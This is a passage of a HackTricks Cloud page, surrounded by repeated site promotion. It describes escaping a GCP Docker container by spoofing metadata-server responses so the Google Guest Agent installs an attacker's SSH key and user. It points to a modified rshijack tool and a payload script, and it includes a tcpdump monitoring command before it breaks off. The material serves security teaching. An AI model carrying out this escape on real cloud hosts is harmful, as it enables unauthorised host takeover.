case from the token) * Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information) * [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # GCP - Network Docker Escape - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In both writeups where this technique is specified, the attackers managed to get **root** access inside a **Docker** container managed by GCP with access to the host network (and the capabilities **`CAP_NET_ADMIN`** and **`CAP_NET_RAW`**). On a Google Compute Engine instance, regular inspection of network traffic reveals numerous **plain HTTP requests** to the **metadata instance** at `169.254.169.254`. The [**Google Guest Agent**](https://github.com/GoogleCloudPlatform/guest-agent) , an open-source service, frequently makes such requests. This agent is designed to **monitor changes in the metadata**. Notably, the metadata includes a **field for SSH public keys**. When a new public SSH key is added to the metadata, the agent automatically **authorizes** it in the `.authorized_key` file. It may also **create a new user** and add them to **sudoers** if needed. The agent monitors changes by sending a request to **retrieve all metadata values recursively** (`GET /computeMetadata/v1/?recursive=true`). This request is designed to prompt the metadata server to send a response only if there's any change in the metadata since the last retrieval, identified by an Etag (`wait_for_change=true&last_etag=`). Additionally, a **timeout** parameter (`timeout_sec=`) is included. If no change occurs within the specified timeout, the server responds with the **unchanged values**. This process allows the **IMDS** (Instance Metadata Service) to respond after **60 seconds** if no configuration change has occurred, creating a potential **window for injecting a fake configuration response** to the guest agent. An attacker could exploit this by performing a **Man-in-the-Middle (MitM) attack**, spoofing the response from the IMDS server and **inserting a new public key**. This could enable unauthorized SSH access to the host. While ARP spoofing is ineffective on Google Compute Engine networks, a [**modified version of rshijack**](https://github.com/ezequielpereira/rshijack) developed by [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) can be used for packet injection in the communication to inject the SSH user. This version of rshijack allows inputting the ACK and SEQ numbers as command-line arguments, facilitating the spoofing of a response before the real Metadata server response. Additionally, a [**small Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) is used to return a **specially crafted payload**. This payload triggers the Google Guest Agent to **create a user `wouter`** with a specified public key in the `.authorized_keys` file. The script uses the same ETag to prevent the Metadata server from immediately notifying the Google Guest Agent of different metadata values, thereby delaying the response. To execute the spoofing, the following steps are necessary: 1. **Monitor requests to the Metadata server** using **tcpdump**: bash tcpdump -S -i eth0 'host 169.254.169.254 and port 80' & Look for a line similar to: